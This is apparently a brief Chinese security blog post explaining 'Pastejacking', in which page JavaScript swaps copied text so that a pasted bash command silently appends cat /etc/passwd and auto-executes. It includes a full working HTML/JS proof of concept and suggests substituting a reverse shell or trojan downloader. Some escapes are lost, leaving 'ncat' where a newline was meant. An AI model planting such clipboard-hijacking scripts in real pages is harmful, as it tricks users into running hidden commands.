导语:在linux bash下进行操作时难免因为懒,直接从别人的技术文章中复制相关的命令在bash下直接执行,为了治愈这种懒癌,应运而生的一种技术Pastejacking。
在linux bash下进行操作时难免因为懒,直接从别人的技术文章中复制相关的命令在bash下直接执行,为了治愈这种懒癌,应运而生的一种技术Pastejacking。原理很简单,通过js代码覆盖某人的剪贴板中的内容达到欺骗眼睛的效果。操作流程如下:

访问指定网页,选择相关内容,右键复制文字echo "not eval"。结果在记事本中粘贴出来的却是echo "not eval" ncat /etc/passwdnecho "eval"。如果懒癌患者直接粘贴相关的文字命令在bash中执行,由于加入了换行符,使得命令“自动执行”,发现时已经无力回天了。


如果吧cat /etc/passwd可以替换为反弹shell或者下载木马的脚本,就能实现一些意想不到的效果了。
关键代码:

DOME:
<html>
<body>
复制如下内容到bash命令行下执行.
</br>
<p>echo "not evil"</p>
<script>
function copyTextToClipboard(text) {
var textArea = document.createElement("textarea");
textArea.style.position = 'fixed';
textArea.style.top = 0;
textArea.style.left = 0;
textArea.style.width = '2em';
textArea.style.height = '2em';
textArea.style.padding = 0;
// Clean up any borders.
textArea.style.border = 'none';
textArea.style.outline = 'none';
textArea.style.boxShadow = 'none';
// Avoid flash of white box if rendered for any reason.
textArea.style.background = 'transparent';
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
var successful = document.execCommand('copy');
var msg = successful ? 'successful' : 'unsuccessful';
console.log('Copying text command was ' + msg);
} catch (err) {
console.log('Oops, unable to copy');
}
document.body.removeChild(textArea);
}
document.addEventListener('keydown', function(event) {
var ms = 800;
var start = new Date().getTime();
var end = start;
while(end < start + ms) {
end = new Date().getTime();
}
copyTextToClipboard('echo "not evil" ncat /etc/passwdn echo "evil" ');
});
</script>
</body>
</html>